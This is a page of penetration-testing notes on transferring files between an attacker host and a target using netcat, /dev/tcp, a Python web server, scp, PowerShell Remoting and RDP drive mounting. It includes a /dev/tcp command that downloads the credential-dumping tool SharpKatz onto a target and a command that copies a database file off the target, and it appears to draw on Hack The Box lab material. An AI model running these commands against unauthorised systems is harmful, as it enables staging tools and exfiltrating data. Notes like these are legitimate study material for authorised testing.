CtrlK

Pentest Notes

File Transfers

Netcat

Sender:

nc -nlvp [PORT] < [file_to_send]

Reciever:

nc [Sender_IP] [PORT] > [outputfile]
If reciever doesn't have nc, use /dev/tcp
cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

Python webserver

Server running in current directory
python3 -m http.server
Get the file in target
file path starts from where the python server was run in your system
wget http://MACHINE_IP:8000/myfile

SCP

Source to destination
To Target
scp [file_name] [username]@[MACHINE_IP]:[/full/path/filename.extension]

To Yourself
scp [username]@[MACHINE_IP]:[/full/path/filename.extension] [file_name]

Powershell Remoting

Allows us to execute scripts or commands on a remote computer using PowerShell sessions.
Requirements: a member of the Remote Management Users group, or have explicit permissions for PowerShell Remoting in the session configuration.
Enabling PowerShell remoting creates both an HTTP(TCP/5985) and an HTTPS(TCP/5986) listener
hostname
Test-NetConnection -ComputerName [hostname_of_target] -Port 5985
Create a PowerShell Remoting Session
$Session = New-PSSession -ComputerName [hostname_of_target]

Copy samplefile.txt from our Localhost to the target hostname session
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop</span>
Copy DATABASE.txt from target hostname Session to our Localhost
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

RDP

We can transfer files using RDP by copying and pasting.
To access the directory, we can connect to \tsclient\
Mounting a Linux Folder Using rdesktop
rdesktop [MACHINE_IP] -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
Mounting a Linux Folder Using xfreerdp
xfreerdp /v:[MACHINE_IP] /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer